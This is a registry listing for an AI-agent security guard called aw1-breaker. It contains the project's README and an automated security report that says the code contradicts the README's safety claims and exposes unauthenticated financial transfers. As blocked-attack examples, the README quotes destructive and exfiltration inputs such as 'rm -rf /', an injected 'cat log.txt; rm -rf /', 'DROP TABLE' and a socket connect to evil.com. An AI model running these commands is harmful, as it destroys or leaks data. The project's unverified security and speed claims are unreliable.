Server data from the Official MCP Registry
Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.
About
Deterministic sub-0.2ms AST security circuit breaker and agent containment engine.
Remote endpoints: sse: https://p20.laveto.net/wisdom/mcp/sse
Security Report
This codebase bundles a financial disbursement server that executes real treasury and cross-border transfers against a MySQL ledger, exposes an unauthenticated-by-default tools/call path where the caller can supply caller_id and the governor is bypassed on the legacy routing path, and contains hardcoded ISO/audit values, a hardcoded fiduciary key fingerprint, and hardcoded absolute paths to a developer home directory. The marketing README claims interception and security guarantees that the code contradicts (e.g., the AST guard blocks 'os' and 'subprocess' only via limited checks and the stdio server's execute_tool returns a generic 'Executed' response for unknown tools while forwarding the original unmodified request). Score is driven by unsafe financial-operation exposure, weak authentication (token presence check only, no verification), and lack of input validation on SQL and recipient fields, making this unsuitable for deployment as a Developer Tools MCP server without major remediation. Supply chain analysis found 4 known vulnerabilities in dependencies.
9 files analyzed · 15 issues found
Security scores are indicators to help you make informed decisions, not guarantees. Always review permissions before connecting any MCP server.
Permissions Required
This plugin requests these system permissions. Most are normal for its category.
How to Install & Connect
Available as Local & Remote
This plugin can run on your machine or connect to a hosted endpoint. during install.
Documentation
View on GitHubFrom the project's GitHub README.
aw1-breaker (v2.1.0)
Featured on Hashgraph Online (HOL): Read the independent source-level teardown: What aw1-breaker checks before a tool call.
aw1-breaker is a zero-dependency Python security circuit breaker that intercepts autonomous AI agent tool calls in sub-millisecond execution loops using Abstract Syntax Tree (AST) decompilation, declarative Policy-as-Code, per-actor rolling velocity monitors, and cryptographically signed HMAC execution tokens.
High-Concurrency Performance (v2.1.0 Verified)
Evaluated across a stress test of 10,000 asynchronous agent dispatches in concurrent batches of 500 simultaneous tasks:
| Metric | Result | Industry Standard (LLM-as-a-Judge) |
|---|---|---|
| Throughput | 8,485.0 dispatches/sec | ~5 – 20 req/sec |
| Median Latency (P50) | 0.0776 ms (77.6 µs) | 500 – 1,500 ms |
| 90th Percentile (P90) | 0.0941 ms (94.1 µs) | 1,200 – 2,000 ms |
| 95th Percentile (P95) | 0.1066 ms (106.6 µs) | 1,500 – 2,500 ms |
| 99th Percentile (P99) | 0.2263 ms (226.3 µs) | 2,000 – 4,000 ms |
| Attack Blocking Latency | < 0.13 ms (Fail-Closed) | N/A (Probabilistic) |
| Deterministic Guarantee | 100% Mathematical AST Match | Probabilistic (~85–95%) |
⚡ 10-Second Test Drive (Zero-Install)
Test the circuit breaker live in your terminal without installing anything:
uvx aw1-circuit-breaker --demo
Or verify an arbitrary snippet:
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
📦 Installation
pip install --upgrade aw1-circuit-breaker
(Zero external dependencies. Pure Python standard library: Python 3.10 to 3.13).
🛡️ Enterprise Guard (Turnkey Integration)
Drop enterprise boundary policies directly onto agent tools using the @guard.protect or universal @guard adapter:
from aw1 import EnterpriseGuard, SecurityViolationError
guard = EnterpriseGuard(
allowed_tools=["safe_query", "fetch_market_data"],
max_velocity_per_min=60,
max_financial_limit=250.0,
readonly_sql=True
)
@guard.protect(tool_name="safe_query")
def execute_database_query(query: str):
return db.execute(query)
# Benign queries execute instantly (< 0.2ms)
execute_database_query("SELECT id FROM users LIMIT 1;")
# Adversarial AST injections & SQL drops are halted deterministically:
# -> Raises SecurityViolationError: "Database mutation rejected under readonly_sql policy"
Universal Function & Async Gating
from aw1 import guard
@guard
async def run_agent_tool(tool_payload: dict) -> dict:
return {"status": "ok"}
🔌 Model Context Protocol (MCP) Server
Run directly with Python:
python mcp_server.py
Or via uvx:
uvx aw1-circuit-breaker
MCP Client Configuration
Add to your Claude Desktop or Cursor configuration:
{
"mcpServers": {
"aw1-circuit-breaker": {
"command": "uvx",
"args": ["aw1-circuit-breaker"]
}
}
}
⚔️ Exploit Interception in Action
AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.
Interception Matrix
| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
|---|---|---|---|
| Dynamic Execution | eval(compile(...)) | Evades semantic filters | 🛑 Tripped (RESTRICTED_INVOCATION) |
| Shell Escapes | subprocess.Popen(['bash', ...]) | Masked as system task | 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT) |
| Lateral Exfiltration | socket.connect(('evil.com', 443)) | Disguised as HTTP fetch | 🛑 Tripped (UNAUTHORIZED_MODULE_IMPORT) |
| SQL Destruction | DROP TABLE users; | Prompt jailbreak bypass | 🛑 Tripped (HALT_SQL_MUTATION_FORBIDDEN) |
| Dunder Introspection | ().__class__.__subclasses__() | Bypasses keyword filters | 🛑 Tripped (FAIL_CLOSED_REFLECTION_BREACH) |
Run the Showcase
python examples/enterprise_guard_demo.py
⏱️ Runtime Latency Telemetry
Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.
Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.
| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
|---|---|---|---|---|
| AST Inspection (Benign Payload) | 0.0889 ms | 0.1298 ms | 0.1645 ms | < 0.2 ms Overhead |
| AST Inspection (Adversarial Exploit) | 0.0520 ms | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| Shell Argument Injection Guard | 0.0051 ms | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |
Reproduce locally:
python benchmark.py
🧩 Framework Integration (LangGraph Example)
AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException
# Guard autonomous agent tool dispatches
try:
execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
print(f"Tool call halted: {blocked}")
🌐 Cloud REST API Gateway & Production Quotas
The AW-1 Circuit Breaker provides a production-grade HTTP interception gateway for microservices, browser frontends, and autonomous agent platforms.
- Endpoint:
POST https://p20.laveto.net/wisdom/api/v1/intercept - CORS: Enabled (
Access-Control-Allow-Origin: *) - Arbitration Engine Latency:
< 0.80 ms
Request Payload
{
"actor_id": "agent-alpha-01",
"tool_name": "sql_query",
"payload": "SELECT id, balance FROM accounts WHERE user_id = 42;"
}
Response Schema
1. Permitted Execution (Token Minted)
{
"status": "PERMITTED",
"verdict": "PASS",
"permitted": true,
"actor_id": "agent-alpha-01",
"tool_name": "sql_query",
"token": "YOUR_KEY_dev_dummy_key_000000000000",
"reason": "Policy evaluation completed: execution safe",
"latency_ms": 0.762,
"circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
2. Threat Contained (Fail-Closed)
{
"status": "HALT_AND_CONTAIN",
"verdict": "FAIL_CLOSED",
"permitted": false,
"actor_id": "agent-alpha-01",
"tool_name": "bash",
"token": null,
"reason": "AST Circuit Breaker containment triggered",
"latency_ms": 0.201,
"circuit_breaker": "AW-1 Sovereign Execution Arbitrator"
}
Production Quotas & Pricing
| Plan | Pricing (USD / BWP) | Quota & Features | Access / Checkout |
|---|---|---|---|
| Developer Sandbox | Free | 10,000 requests, HMAC token minting | Code HOL-BREAKER-2026 |
| Developer Pro | $49 / BWP 650 /mo | 100,000 audit requests, 1 license key, offline HMAC validation | Upgrade to Pro |
| Team / Startup | $199 / BWP 2,650 /mo | 1,000,000 audit requests, 5 seat keys, Redis state sync | Upgrade to Team |
| Enterprise Dedicated | $990 / BWP 13,200 /mo | Unlimited seats, dedicated gateway tenant, custom statutory lenses | Enterprise Desk |
To activate enterprise quotas, pass your signed bearer token in the Authorization header:
curl -X POST [https://p20.laveto.net/wisdom/api/v1/intercept](https://p20.laveto.net/wisdom/api/v1/intercept) \
-H "Authorization: Bearer AW1-EXEC-TOKEN-..." \
-H "Content-Type: application/json" \
-d '{"actor_id": "prod-agent-01", "tool_name": "db_query", "payload": "SELECT 1;"}'
License
Licensed under the Apache License, Version 2.0. See LICENSE for details.
Reviews
No reviews yet
Be the first to review this server!
More Developer Tools MCP Servers
Rea
Freeby Morluto · Developer Tools
Reverse engineer anything from your terminal or agent with one CLI and MCP server.
Paperclip
Freeby Paperclipai · Developer Tools
Trending hip-hop artist momentum scores across four cultural dimensions.
Git
Freeby Modelcontextprotocol · Developer Tools
Read, search, and manipulate Git repositories programmatically
Fetch
Freeby Modelcontextprotocol · Developer Tools
Web content fetching and conversion for efficient LLM usage
Toleno
Freeby Toleno · Developer Tools
Toleno Network MCP Server — Manage your Toleno mining account with Claude AI using natural language.
MCP Marketplace
Freeby mcp-marketplace · Developer Tools
Search and install MCP servers from inside your AI client.
